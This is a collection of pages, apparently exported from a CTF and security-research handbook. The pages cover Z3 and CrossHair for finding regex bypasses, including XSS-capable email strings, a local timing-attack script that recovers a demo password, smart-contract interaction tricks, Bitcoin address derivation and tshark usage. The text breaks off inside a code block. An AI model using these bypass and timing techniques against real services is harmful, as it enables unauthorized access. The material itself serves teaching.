<table><thead><tr><th width="221">Operation</th><th width="403">Description</th><th>Example</th></tr></thead><tbody><tr><td><code>x &#x3C;&#x3C; 1</code></td><td>Shift all bits to the <strong>left</strong>, discarding the leftmost and filling empty bits <strong>with 0's</strong></td><td><code>11110001</code><br><code>11100010</code></td></tr><tr><td><code>x >> 1</code></td><td>Shift all bits to the <strong>right</strong>, discarding the rightmost and filling empty bits <strong>with the sign bit</strong> (leftmost)</td><td><code>10001111</code><br><code>11000111</code></td></tr><tr><td><code>LShR(x, 1)</code></td><td>Shift all bits to the <strong>right</strong>, discarding the rightmost and filling empty bits <strong>with 0's</strong></td><td><p><code>10001111</code></p><p><code>01000111</code></p></td></tr><tr><td><code>RotateLeft(x, 1)</code></td><td>Shift all bits to the <strong>left</strong>, and <strong>wrap</strong> the leftmost bit back to the right</td><td><p><code>11100111</code></p><p><code>11001111</code></p></td></tr><tr><td><code>RotateRight(x, 1)</code></td><td>Shift all bits to the <strong>right</strong>, and <strong>wrap</strong> the rightmost bit back to the left</td><td><p><code>11100111</code></p><p><code>11110011</code></p></td></tr><tr><td><code>x / 2</code></td><td>Divide signed number, keeping the sign bit</td><td><code>10110000</code><br><code>11011000</code></td></tr><tr><td><code>UDiv(x, 2)</code></td><td>Divide unsigned number</td><td><code>10110000</code><br><code>01011000</code></td></tr></tbody></table>

All these operations can be used on `BitVec` (variable) and `BitVecVal` (constant) numbers. If you want to be able to follow how a constant changes and to make sure it follows n-bit operations, wrap it with `BitVecVal`. This tells Z3 about the number and all operations will behave as explained above.

{% code title="Example" %}

```python
from z3 import *

s = Solver()

# 16-bit numbers
var = BitVec('var', 16)
const = BitVecVal(1000, 16)

const *= 2000
s.add(var == const)

if s.check() == sat:
    var = s.model()[var].as_long()
    print(var)  # 33920, not 2_000_000
```

{% endcode %}

## Solving cryptographic functions

Some bad implementations of cryptographic functions may have vulnerabilities that allow you to leak data. It might be hard to find these vulnerabilities yourself by looking at the code, so sometimes you can implement the algorithm in Z3 to check if it can be broken somehow.

See the [/pages/EGdCtJyflWEj9chxQQFk#javascript-math.random-xorshift128](https://book.jorianwoltjer.com/cryptography/custom-ciphers/pages/EGdCtJyflWEj9chxQQFk#javascript-math.random-xorshift128 "mention") RNG for an example script where Z3 was used to find the random state after getting 5 random values as input, allowing you to predict future numbers.

## Snippets

Some small but useful pieces of Z3 code that are common across scripts.

<pre class="language-python" data-title="Get all flags"><code class="lang-python"># Define 20 characters as bytes
<strong>flag = [BitVec(f"flag_{i}", 8) for i in range(20)]
</strong>
# Restrict to printable ASCII
<strong>for character in flag:
</strong><strong>    s.add(character >= 0x20, character &#x3C; 0x7e)
</strong>
[...constraints...]

# Find all solutions, and print as string
<strong>while s.check() == sat:
</strong><strong>    m = s.model()
</strong><strong>    result = bytes([m[flag[i]].as_long() for i in range(len(flag))])
</strong><strong>    print(result)
</strong>
<strong>    s.add(Or([flag[i] != m[flag[i]] for i in range(len(flag))]))
</strong></code></pre>

For more practical examples, see this repository:

{% embed url="<https://github.com/JorianWoltjer/z3-scripts>" %}

## CrossHair: RegEx and more

{% embed url="<https://github.com/pschanely/CrossHair>" %}
Analyze python code flow using an SMT solver to verify statements in tests
{% endembed %}

This testing framework is intended to prove statements you make in a Python docstring. It will use Z3 to try and find **counterexamples** for edge cases. These are useful to create functions that behave as expected, but also useful as a security researcher to **find edge cases**.

It is similar to the use of Z3 to solve statements, but much more flexible as it can directly integrate with the Python source code without having to be rewritten, which may change logic in the process. You can use it by defining `pre:` conditions it should expect, and `post:` conditions for it to disprove. You can play around with it on the [live demo](https://crosshair-web.org/), here is an example (`_` = return):

<pre class="language-python"><code class="lang-python">def make_bigger(n: int) -> int:
    '''
<strong>    post: _ > n
</strong>    '''
    return 2 * n + 10
</code></pre>

> error: false when calling `make_bigger(-10)` (which returns `-10`)

Here it finds the edge case where `n` is negative enough that the multiplication outweighs the addition, making the implied effect of always returning a larger value false. We could fix the code, or add a `pre: n >= 0` line before the `post:` to tell CrossHair that the input value should never be negative during analysis.

The tool can be installed and run easily from the command line:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ python3 -m pip install crosshair-tool
</strong>...
<strong>$ crosshair check main.py
</strong>error: false when calling make_bigger(-10) (which returns -10)
</code></pre>

{% hint style="warning" %}
The `check` command has a fairly small default timeout per condition, but it can be **increased** by setting the `--per_condition_timeout` argument:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>crosshair check test.py --per_condition_timeout 999999
</strong></code></pre>

{% endhint %}

Another useful feature for finding **differences** in functions is the [`diffbehavior`](https://crosshair.readthedocs.io/en/latest/diff_behavior.html) tool. It takes two functions and compares the behavior of the two. Here, a refactor made an unrecognized response return `None` instead of `False`:

```python
def version1(s: str) -> bool:
    if s in ('y', 'yes'):
        return True
    return False

def version2(s: str) -> bool:
    if s in ('y', 'yes'):
        return True
    if s in ('n', 'no'):
        return False
```

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ crosshair diffbehavior test.version1 test.version2
</strong>Given: (s='z\x00\x00'),
  test.version1 : returns False
  test.version2 : returns None
</code></pre>

Also, see [`cover`](https://crosshair.readthedocs.io/en/latest/cover.html) for a tool that can automatically generate **test cases for all code paths**!

### Regular Expressions

One of the biggest improvements on Z3 is the fact that it understands regular expressions and that it can solve statements involving them to look for edge cases or **bypasses**.

If we have a regular expression for which we want to find *any* *valid string*, we can simply tell CrossHair there is none and it will try to find a counterexample:

```python
def simple_regex(s: str) -> bool:
    """
    post: not _  # We say: return value will always be False
    """
    return re.fullmatch(r"a(b|c)d{2,4}", s)
```

> error: false when calling `simple_regex('abdd')` (which returns `<...>`)

For a more complex example, it can find multiple conditions at once. Think of a first condition as passing through the checks and a second condition as being exploitable.

```python
def intersect(s: str) -> bool:
    """
    post: not _
    """
    return re.fullmatch(r"a(b|c)d{2,4}", s) and \
           re.fullmatch(r"a(c|d)d{4,10}", s)  # Extra condition
```

> error: false when calling `intersect('acdddd')` (which returns `<...>`)

### Examples

Some examples of *security research* use cases to find edge cases and bypasses.

First, an RFC-compliant regex that shows it's possible to inject `<` characters when surrounding the name with `"` **quotes**:

{% code title="Email address XSS" %}

```python
# Source: RFC-compliant - https://stackoverflow.com/a/201378/10508498
def is_email(s: str):
    """
    We tell it it's impossible for this regex to let through a "<"
    post: not (_ and "<" in s)
    """
    return bool(re.fullmatch(r"""(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9]))\.){3}(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9])|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])""", s))
```

{% endcode %}

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ crosshair check main.py --per_condition_timeout 999999
</strong>error: false when calling is_email('"&#x3C;"@0.0') (which returns True)
</code></pre>

Another shorter example where the **IPv6 address** allows any special characters:

{% code title="2nd email address XSS" %}

```python
# Source: short-hand version - https://stackabuse.com/validate-email-addresses-with-regular-expressions-in-javascript/
def test(s: str) -> bool:
    """
    post: not (_ and "<" in s)
    """

    return bool(re.fullmatch(r"([!#-'*+/-9=?A-Z^-~-]+(\.[!#-'*+/-9=?A-Z^-~-]+)*|\"(\[\]!#-[^-~ \t]|(\\[\t -~]))+\")@([!#-'*+/-9=?A-Z^-~-]+(\.[!#-'*+/-9=?A-Z^-~-]+)*|\[[\t -Z^-~]*])", s))
```

{% endcode %}

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ crosshair check main.py --per_condition_timeout 999999
</strong>error: false when calling is_email('?@[&#x3C;]') (which returns True)
</code></pre>

When using **multi-line** regexes, it finds it is possible to bypass a `$` restriction with a newline:

```python
def multiline(s: str) -> bool:
    """
    pre: s
    post: not (_ and "<" in s)
    """
    return bool(re.match("^a(b|c)d$", s, re.MULTILINE))
```

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ crosshair check main.py --per_condition_timeout 999999
</strong>error: false when calling multiline('abd\n&#x3C;') (which returns True)
</code></pre>

Taken from a real **CTF challenge** where the password was given as a regular expression that should be matched. Only one string would be able to match, and it would be the password. This tool can solve it without having to do any reverse engineering!

```python
def challenge(s: str) -> bool:
    """
    post: not _
    """
    return bool(re.match("(?:(?=[^\u6e0d-\u8ffb])[\x66]){0}?(?:(?=[^\u2f60-\u4bb9])[\x66]){0}?(?:(?=[^\ufcb8-\ufcc1])[\x75]){0}?(?:(?=[^\u7f87-\u99aa])[\x61]){0}?(?:(?=[^\u05c7-\ubcf7])[\x49]){1}?(?:(?=[^\ufa88-\ufc28])[\x65]){0}?(?:(?=[^\u9a98-\uc554])[\x76]){0}?(?:(?=[^\uf84d-\ufdd6])[\x70]){0}?(?:(?=[^\uf5e0-\uf711])[\x6e]){0}?(?:(?=[^\ufa45-\ufbeb])[\x61]){1}?(?:(?=[^\uf0ca-\uf28f])[\x73]){0}?(?:(?=[^\ue189-\uf7cb])[\x7a]){0}?(?:(?=[^\u2998-\u7c8b])[\x70]){0}?(?:(?=[^\u5fa8-\ufbb6])[\x6c]){0}?(?:(?=[^\ufef9-\uffa6])[\x4d]){1}?(?:(?=[^\ub312-\ueb5f])[\x6d]){0}?(?:(?=[^\u32bc-\ue435])[\x6d]){0}?(?:(?=[^\u45b2-\u736c])[\x6e]){0}?(?:(?=[^\u372d-\u96b1])[\x71]){0}?(?:(?=[^\ubeac-\uca7e])[\x74]){0}?(?:(?=[^\u9207-\ua598])[\x61]){1}?(?:(?=[^\ua32a-\uc32e])[\x63]){0}?(?:(?=[^\u10e2-\ufc58])[\x66]){0}?(?:(?=[^\ua3ff-\uc711])[\x7a]){0}?(?:(?=[^\u32b6-\u5fca])[\x77]){0}?(?:(?=[^\u3942-\ue7d8])[\x6d]){0}?(?:(?=[^\ud2dc-\uf3d7])[\x4d]){1}?(?:(?=[^\u7881-\ub2aa])[\x71]){0}?(?:(?=[^\u3173-\ub6b8])[\x74]){0}?(?:(?=[^\ua582-\ue3e7])[\x63]){0}?(?:(?=[^\u1f30-\u4a71])[\x7a]){0}?(?:(?=[^\ue799-\uf0ce])[\x65]){0}?(?:(?=[^\u6618-\u96f4])[\x64]){0}?(?:(?=[^\uc2dd-\uc3d3])[\x71]){0}?(?:(?=[^\ud05b-\ue4fc])[\x65]){0}?(?:(?=[^\udf4b-\ueec5])[\x61]){1}?(?:(?=[^\ue2aa-\uf6f6])[\x72]){0}?(?:(?=[^\u4da9-\uc4d6])[\x6e]){0}?(?:(?=[^\u7e7b-\ubb07])[\x69]){0}?(?:(?=[^\uc718-\uff10])[\x6d]){0}?(?:(?=[^\u6c84-\uac27])[\x6c]){1}?(?:(?=[^\ua4a0-\uf819])[\x66]){0}?(?:(?=[^\ue594-\uee75])[\x63]){0}?(?:(?=[^\uf8ca-\ufb79])[\x66]){0}?(?:(?=[^\u51a2-\u5817])[\x7a]){0}?(?:(?=[^\ucfd8-\uea6a])[\x6f]){0}?(?:(?=[^\u3118-\ud5d2])[\x6d]){0}?(?:(?=[^\uec3e-\ufdfd])[\x6f]){0}?(?:(?=[^\u0fb9-\u8106])[\x4c]){1}?(?:(?=[^\ud516-\udca6])[\x6f]){0}?(?:(?=[^\u24a3-\u8174])[\x6a]){0}?(?:(?=[^\u6110-\ueacf])[\x6b]){0}?(?:(?=[^\uf3be-\uf70f])[\x63]){0}?(?:(?=[^\u863c-\uedd6])[\x6b]){0}?(?:(?=[^\u1918-\ued3b])[\x70]){0}?(?:(?=[^\uccde-\udf61])[\x7a]){0}?(?:(?=[^\ub02e-\ue007])[\x61]){1}?(?:(?=[^\ue823-\uf2b1])[\x72]){0}?(?:(?=[^\u3493-\ub3d4])[\x74]){0}?(?:(?=[^\ue507-\ufc8a])[\x70]){0}?(?:(?=[^\ue249-\uf8b6])[\x72]){0}?(?:(?=[^\u9eb1-\ue0ed])[\x6e]){0}?(?:(?=[^\u8a39-\uefa3])[\x72]){1}?(?:(?=[^\u998b-\u9d4d])[\x74]){0}?(?:(?=[^\uf87c-\ufcd2])[\x72]){0}?(?:(?=[^\u4054-\u5fc4])[\x67]){0}?(?:(?=[^\ufbc4-\ufe79])[\x62]){0}?(?:(?=[^\uf57f-\uf6a1])[\x6c]){0}?(?:(?=[^\u5030-\u64bc])[\x6c]){0}?(?:(?=[^\u2371-\u4ee7])[\x44]){1}?(?:(?=[^\ud132-\ue943])[\x71]){0}?(?:(?=[^\ubef9-\uea29])[\x79]){0}?(?:(?=[^\ub7fa-\ubfa1])[\x69]){0}?(?:(?=[^\u71ce-\u8b83])[\x70]){0}?(?:(?=[^\u691a-\u7279])[\x6a]){0}?(?:(?=[^\u9d53-\ub24b])[\x21]){1}?(?:(?=[^\ud30d-\uf213])[\x72]){0}?(?:(?=[^\u40c2-\udd0b])[\x78]){0}?(?:(?=[^\u94a0-\ud814])[\x6a]){0}?(?:(?=[^\u3fe0-\u91c7])[\x66]){0}?(?:(?=[^\u61db-\ud519])[\x62]){0}?", s))
```

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ crosshair check main.py --per_condition_timeout 999999
</strong>error: false when calling challenge('IaMaMalLarD!') (which returns True)
</code></pre>


# Timing Attacks

Using timing information to extract information

While certain endpoints may only return a `true`/`false` response like a login page, there is other information that is often forgotten: Time. From sending a request to receiving a response, a few things happen. Firstly, the data need to be transferred and read by the server. Then the data is processed and any algorithms are performed like checking a password. Finally, the response is sent back to the client. The important thing to know is that the timing of that **middle** part may reveal sensitive information.

Let's say for example that we have a very simple password-checking mechanism that takes longer to run as we get closer to the real password:

```python
def check_password(password):
    # Check length
    if len(password) != len(REAL_PASSWORD):
        return False
    
    # Check password character by character
    for i in range(len(password)):
        if password[i] != REAL_PASSWORD[i]:
            return False
        
    return True  # Correct
```

This function first checks if the length is correct, and then loops through every character in the password one by one. At the first incorrect character, it quickly returns `False` and does not even look at the rest of the characters. This causes a completely wrong password to be discarded almost instantly, while a password close to the real password takes more loops and time to check.

This timing information can be used to try **different characters** and **look for when the computing time increases**. Let's try to attack the above example, with a `REAL_PASSWORD="hunter2"`. This will cause timings to be different depending on how close we are to the password:

```python
setup = "from __main__ import check_password"
py
print(timeit.timeit("check_password('incorrect_length')", setup=setup, number=1000000))
# 0.106 -> very short, because length check instantly returns False
print(timeit.timeit("check_password('closer!')", setup=setup, number=1000000))
# 0.288 -> a bit longer, because the length check passes
print(timeit.timeit("check_password('hunter1')", setup=setup, number=1000000))
# 0.574 -> much longer because of more iterations in the loop
```

We will have to start by finding the correct length, which we can try by just providing different lengths and finding the one that took the longest to compute, meaning it likely passed the first `if` statement:

```python
samples = {}

for length in range(1, 10):
    password = "a" * length
    time = timeit.timeit(f"check_password({password!r})", setup=setup, number=1000000)
    print(f"{length} -> {time:.3f}")
    samples[length] = time
    
print("Found length:", max(samples, key=samples.get))
```

This will try all lengths from 1-9, and show the execution time of 1 million iterations:

```rust
0 -> 0.099
1 -> 0.099
2 -> 0.126
3 -> 0.098
4 -> 0.101
5 -> 0.101
6 -> 0.108
7 -> 0.302  // longest
8 -> 0.121
9 -> 0.111
Found length: 7
```

Now we know the length is 7, and we can try to find the first character. Only if this first character is correct, will it continue with checking the second character, causing it to take longer. We'll start by trying every possible character in the first spot, with a correct length to actually reach this loop:

```python
samples = {}

for c in "abcdefghijklmnopqrstuvwxyz0123456789":
    password = c.ljust(length, "a")  # "Xaaaaaa"
    
    time = timeit.timeit(f"check_password({password!r})", setup=setup, number=1000000)
    print(f"{password!r} -> {time:.3f}")

c = max(samples, key=samples.get)
print("Found char:", c)
```

Running this code is less reliable than the first leak because the difference between correct and incorrect guesses is smaller. But even with this difference, we are able to find the first character: `'h'` which takes slightly longer on average:

```rust
'aaaaaaa' -> 0.299
...
'gaaaaaa' -> 0.286
'haaaaaa' -> 0.361  // longest
'iaaaaaa' -> 0.323
...
'9aaaaaa' -> 0.283
Found char: h
```

Now that we know the first character, we can keep continuing like this by just prefixing our guess with the part we already know. Slowly we will build out the `REAL_PASSWORD` character by character and eventually find the whole string:

```python
found = ""
for i in range(length):
    samples = {}

    for c in "abcdefghijklmnopqrstuvwxyz0123456789":
        password = (found + c).ljust(length, "a")
        
        time = timeit.timeit(f"check_password({password!r})", setup=setup, number=1000000)
        print(f"{password!r} -> {time:.3f}")
        samples[c] = time
        
    c = max(samples, key=samples.get)
    print("Found char:", c)
    found += c

print("Found password:", found)
```

```rust
...
Found char: h
'haaaaaa' -> 0.318
...
'htaaaaa' -> 0.332
'huaaaaa' -> 0.370  // longest
'hvaaaaa' -> 0.327
...
'h9aaaaa' -> 0.322
Found char: u
...
'hunter1' -> 0.600
'hunter2' -> 0.611  // longest
'hunter3' -> 0.580
Found char: 2
Found password: hunter2
```

While the above example output shows it working, this code is **very unreliable,** especially near the end where random speedups and slowdowns happen more often. This is because the timing attack we are performing here is based on differences of **microseconds**, and even the slightest disturbance can mess up our measurements. Using the `timeit` library we are taking a million measurements of this function directly, without random network delays or anything. Still, the differences in timing are so tiny that it is hard to tell the correct character for sure near the end.

For a practical attack, there often needs to be something more than more loop iterations slowing the program down. It can be useful to try and make something special happen that takes a long time if the first part is correct, like with [Regular Expressions (RegEx)](/languages/regular-expressions-regex#string-exfiltration-via-redos), but otherwise try to get the **most accurate** measurements and take advantage of **statistics** to find the outlier.

{% hint style="info" %}
While the above example shows a password login system, this idea is applicable in many more places with many developers being unaware of the issue. Especially in cryptographic algorithms timing information can leak valuable information, so this is a good place to check
{% endhint %}

## Statistics

Getting accurate measurements is one of the most important things in timing attacks. Intuitively using more samples will give better results, but a tricky part is often how to analyze all those samples and extract the outlier.

There is an important difference between the **average** (mean), **median**, and **mode**. All 3 are useful statistical functions that try to combine many samples into one that summarizes the sequence the best.

* **Average (mean)**: Sum all values, then divide that sum by the number of samples. Will be swayed by a very high or low outlier
* **Median**: Order the values, and take the center one. Won't be swayed by a few outliers as they will not be in the center
* **Mode**: Most common value. Not possible if all values are different, but if they fall into certain 'buckets' the most common bucket can be chosen. Also won't be swayed by outliers

As you can see, the *average* function is problematic in that it will be swayed one way very heavily if the value is large, which can be a problem when outliers try to pull on either end of the average with a big deviation. The *mode* function works pretty well, but it is often hard or complicated to apply in practice. The ***median*** function however seems like a perfect fit as it is not easily affected by outliers, and is always applicable. That is why we often use this function to find a regular sample value without much noise.

Then when we have all the regular samples of attempts, we need to find which one constantly outperforms the others. This can be done with a simple **`max`** function that takes the highest one, or a smarter algorithm that checks to see if the maximum value actually has a significant difference, or if we are unsure. If we have values of `[1.9, 1.8, 2.1, 4.2, 2.0, 10.8]`, for example, the `max` function would give `10.8` as output while there is also the `4.2` value that stands out to us. A smart algorithm might take these best values, and run more tests to see if the `10.8` was just a random outlier, or if that was actually the correct value.\
This idea could be implemented by performing a **tournament-style elimination** where values need to keep performing well in order to reach the top, at which point we can be more sure they are correct. Often simply taking the maximum value is enough, however, because we are already normalizing outliers with the median function.

## Reducing noise

While statistics can help, sometimes it is just impossible to tell which value has significance. Depending on the situation, a few tricks can be used to get the most consistent possible values, eliminating as much outside noise as possible.

### Warming up

A simple trick that can mitigate startup slowdowns, is sending a few bogus requests to the server beforehand so that it 'warms up', and then without pause switch over to your real queries.

### Randomizing order

While running your timing attack, a server might slow down for a small period of time because of high load, or speed back up later when optimization kicks in. This can mess up your measurements if you are all A's at first, then B's, C's, etc. one after the other. Your first A's might then be slower on average, than the Z's at the end. Not because the A's are correct, but because of this noise in the system that slows down or speeds up randomly.

To mitigate this, you can try randomizing the order in which you send samples to the server. This way, if a random slowdown happens, all values are affected equally and not just a big batch of A's but no Z's. You can implement this by creating a queue of requests to send, and then randomly resolving items from the queue to put in the result. When the queue is empty, the result should be filled up as everything is resolved and you can use [#statistics](#statistics "mention") to further analyze which is correct. This will help significantly reduce noise that happens for more requests at a time.

### Racing using Parallel requests

Instead of measuring response *time*, you might also be able to measure response **order**. If you can make sure two requests are received on the server at the exact same time, they will be processed at the same time, and the first one to complete is sent back first. If this is done through the same TCP connection, TCP will guarantee that the order of the packets stays the same and you will be able to determine based off of this which is most likely correct.

Instead of finding the maximum time it took to respond, this method will measure the **number of races won** which should be 50/50 for incorrect guesses, but significantly higher/lower for correct ones. The number of races you should do depends on how big the difference in time is, but this can be found by testing.

When possible, this attack is so powerful that it can detect **microsecond** differences on **remote** servers, as has been shown for HTTP/2 in [this paper](https://www.usenix.org/system/files/sec20-van_goethem.pdf).

## Existing Attacks

{% embed url="<https://github.com/ConnorNelson/spaceless-spacing>" %}
Parallel requests in HTTP/2 can reveal microscopic timing differences from a server
{% endembed %}

{% embed url="<https://tom.vg/2016/08/browser-based-timing-attacks/>" %}
Via browser side-channels timing of the first and last received byte can leak response sizes
{% endembed %}


# Blockchain


# Smart Contracts

A few small bits about attacking Smart Contracts in Web3

## Compiling .sol to .abi

A contract's source code is found in `.sol` files, but code often requires a general structure instead, which is the Application Binary Interface (ABI) format, simply encoded in JSON. You can compile Solidity code into `.abi` files that you can use in your attacking script to interact with the contract in a known way.

You can compile a single file to ABI into the current directory using the following command:

```shell-session
$ npx solc --abi <NAME>.sol -o <DIRECTORY>
# # For example
$ npx solc --abi Setup.sol -o .
```

It might complain about having the wrong compiler version installed, but this can often be circumvented by changing the version in the contract source itself. You might get a `ParserError` like this:

{% code overflow="wrap" %}

```solidity
Setup.sol:1:1: ParserError: Source file requires different compiler version (current compiler is 0.7.3+commit.9bfce1f6.Emscripten.clang) - note that nightly builds are considered to be strictly less than the released version
```

{% endcode %}

It says the current version is `0.7.3`, so simply change that first line in the source:

```diff
- pragma solidity ^0.8.18;
+ pragma solidity ^0.7.3;
```

## Simple Interaction

Take the following contract as a simple example:

<pre class="language-solidity"><code class="lang-solidity">pragma solidity ^0.8.18;

contract Example {
    bool public updated;

<strong>    function call_me(uint256 number) external {
</strong><strong>        if (number == 42) {
</strong><strong>            updated = true;
</strong>        }
    }
}
</code></pre>

To interact with a smart contract on a private chain, you need the following:

* [ ] A private key with some ether
* [ ] The contract's address
* [ ] URL for RPC to interact with

Then you can use libraries like [web3.py](https://github.com/ethereum/web3.py) or [web3.js](https://web3js.readthedocs.io/) to do the heavy lifting. The libraries are very similar in usage, but in the following examples, I will use the Python version.

It starts with connecting to the RPC provider, and creating an account object from your private key:

```python
from web3 import Web3

# Connect to the private chain using an RPC provider
web3 = Web3(Web3.HTTPProvider('http://<HOST>:<PORT>'))

# Set the account that will execute transactions
private_key = '0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef'
account = web3.eth.account.privateKeyToAccount(private_key)
```

From here, you likely want to interact with a contract. You can get an instance of the contract in Python by opening the `.abi` file (see [#compiling-.sol-to-.abi](#compiling-.sol-to-.abi "mention")) and providing the address of the contract on the server.

```python
# Create an instance of the contract
contract_address = '0x9876543210abcdef0123456789ABCDEF01234567'
contract_abi = open('Example.abi').read()
example = web3.eth.contract(address=contract_address, abi=contract_abi)
```

Now that we have an instance of the contract, we can interact with it by calling functions on it. In the example Solidity code above, we need to call the `call_me()` function with an argument of `42`. In our script that would look like this:

```python
tx_hash = example.functions.call_me(42).transact()
print(tx_hash)  # b'\x91\xfb\x10\x93...
```

If you run this script and the `tx_hash` prints something, it probably worked. Otherwise, you will likely receive a clear Exception on why it did not work.

## Manual Transactions

These function calls abstract away a lot of details, but sometimes we as the attacker want more low-level control over the transaction being sent. Here are two examples.

### The `fallback()` method

The contract might contain a payable method named `fallback()`:

```solidity
fallback() external payable {
    ...
}
```

You cannot call this function directly, because it has a special meaning. This function is called when **the function you try to call does not exist**. It is often used for updated contracts that need to handle the case when scripts interacting with it don't update. But to intentionally call this function we would need to try and call a wrong function name in our script.

Web3 won't actually let you do this straight away, to help you not make mistakes. But in the case where you intentionally want to do this, you can trick it into thinking the wrong method does exist.

```python
tx_hash = example.functions.wrong().transact()
print(tx_hash)
```

{% code title="Error before transaction" overflow="wrap" %}

```python
web3.exceptions.ABIFunctionNotFound: ("The function 'wrong' was not found in this contract's abi. ", 'Are you sure you provided the correct contract abi?')
```

{% endcode %}

To bypass this, we can just manually change the `.abi` file to add a function called `wrong`, and make it think it exists:

```json
  {
    "inputs": [],
    "name": "wrong",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
```

When we now run the script again, it will correctly pass it through to the `fallback()` method.

### The `receive()` method

Your contract may also have `receive()` method:

```solidity
receive() external payable {
    ...
}
```

This method is used when you **aren't calling a function at all**, so when there is no data involved in your transaction, specifically a transaction directly to the contract address. To trigger this function we just have to manually create a transaction and send it over, without the `data:` component. Here is an example:

```python
transaction = {
    'from': account.address,
    'to': contract_address,
    'value': web3.toWei(0, 'ether'),
    'gas': 2000000,
    'gasPrice': web3.toWei('50', 'gwei'),
}

tx_hash = web3.eth.send_transaction(transaction)
print(tx_hash)
```

In this case, we send 0 ether with some gas price configuration. It is sent `to` the contract address which will trigger the `receive()` method.

{% hint style="info" %}
As I hinted, you can add a `data` component to this `transaction` which calling functions will automatically do for you. Here you can manually craft any call you want to make.
{% endhint %}

## Requirements

With more involved contracts, you'll likely find the `modifier` keyword and the `require()` function. These can set specific conditions for if you can call a method or not. If this condition fails, your call will not go through. For example:

<pre class="language-solidity"><code class="lang-solidity">contract ShootingArea {
    bool public allowed;
    bool public updated;

<strong>    modifier isAllowed() {
</strong><strong>        require(allowed);
</strong>        _;
    }
    
    function open_gates() public {
<strong>        allowed = true;
</strong>    }

<strong>    function enter() public isAllowed {
</strong>        updated = true;
    }
}
</code></pre>

Here, someone would first have to call `open_gates()` before they could call `enter()`. Keep in mind that this state is remembered, so if you set `allowed = true` it will now forever be true, and you will be allowed in the next call.


# Bitcoin addresses

A bit of information about Bitcoin addresses

Addresses (public keys) are generated from the private key using Elliptic Curve Cryptography and are often displayed in Base58 (Base64 with a few confusing characters removed like `0OIl`).

You can simulate this behavior if you have a private key for example, but no public key. In this case, simply pass the private key through the normal generating function, here is an example in Python ([source](https://bitcoin.stackexchange.com/a/96191)):

```python
import ecdsa
import hashlib
import base58

private_key = "5JYJWrRd7sbqEzL9KR9dYTGrxyLqZEhPtnCtcvhC5t8ZvWgS9iC"

# WIF to private key by https://en.bitcoin.it/wiki/Wallet_import_format
private_key_bytes = base58.b58decode_check(private_key)[1:]

# Private key to public key (ecdsa transformation)
signing_key = ecdsa.SigningKey.from_string(private_key_bytes, curve=ecdsa.SECP256k1)
verifying_key = signing_key.get_verifying_key()
public_key = b"\x04" + verifying_key.to_string()

# hash sha 256 of pubkey
sha256_1 = hashlib.sha256(public_key)

# hash ripemd of sha of pubkey
ripemd160 = hashlib.new("ripemd160")
ripemd160.update(sha256_1.digest())

# checksum
hashed_public_key = b"\x00" + ripemd160.digest()
checksum_full = hashlib.sha256(hashlib.sha256(hashed_public_key).digest()).digest()
checksum = checksum_full[:4]
bin_addr = hashed_public_key + checksum

# encode address to base58 and print
address = base58.b58encode(bin_addr)
print(f"{address=}")  # b'1AsSgrcaWWTdmJBufJiGWB87dmwUf2PLMZ'
```

{% hint style="info" %}
You may have a hex-encoded version of the key. In this case, simply decode the key from hex instead of Base58, and you should have the `private_key_bytes` again
{% endhint %}


# Wireshark

A popular tool to analyze and extract data from network packet captures

## Description

{% embed url="<https://www.wireshark.org/>" %}
Link to the official Wireshark website
{% endembed %}

Wireshark is a GUI tool to analyze network packet captures. You can open `.pcap` or `.pcapng` files in the program and use filters to find specific packets. You can also use it to capture packets yourself from a certain interface, which could be really useful for debugging networking-related issues. It allows you to see exactly what packets are being sent.

You can capture packets in Linux using `tcpdump`:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ sudo tcpdump -w capture.pcap  # Use Ctrl+C to stop
</strong>tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
^C
42 packet received by filter
<strong>$ file capture.pcap
</strong>pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
</code></pre>

When in Wireshark, you see a list of all the packets on the top and detailed information about the contents of a packet on the bottom. Click on a packet at the top to analyze it at the bottom.

In the list of packets, the **Info** columns can be really useful. To quickly see what a packet is about, you can read a summary in that column.

To practice analyzing specific protocols, you can use some [example captures](https://wiki.wireshark.org/SampleCaptures) that Wireshark gives to see how it works yourself.

## TShark

[`tshark`](https://www.wireshark.org/docs/man-pages/tshark.html) is a command-line version of Wireshark that can make it easy to extract data from a capture. Often you're working in Wireshark, and then use TShark to get specific data that needs to be scripted.

The output of TShark can easily be used by other tools to analyze further.

### Options

* `-r`: File to read packets from (`.pcap`)
* `-Y [filter]`: [#filters](#filters "mention") to apply
* `-T fields`: Display only selected fields
* `-e [field]`: Field name to display (can be specified multiple times)
* `-E separator=,`: Separate fields with a comma
* `-E quote=d`: Surround fields with double-quotes

This field name can be found in Wireshark. Simply find a packet with the information you want to extract, select it by clicking on it, and then look on the bottom bar. It will show the field name in between the `()` brackets. You can also directly copy it by right-clicking, and going to **Copy** -> **Field Name.**

<figure><img src="/files/5O5msqLcuBpb4an3ERGt" alt=""><figcaption><p>Screenshot showing field name of DNS query name as an example</p></figcaption></figure>

{% code title="Examples" %}

```shell-session
# # Filter 'dns' and display query names
$ tshark -r capture.pcap -Y 'dns' -T fields -e dns.qry.name
# # Show Modbus registers as [number]:[value]
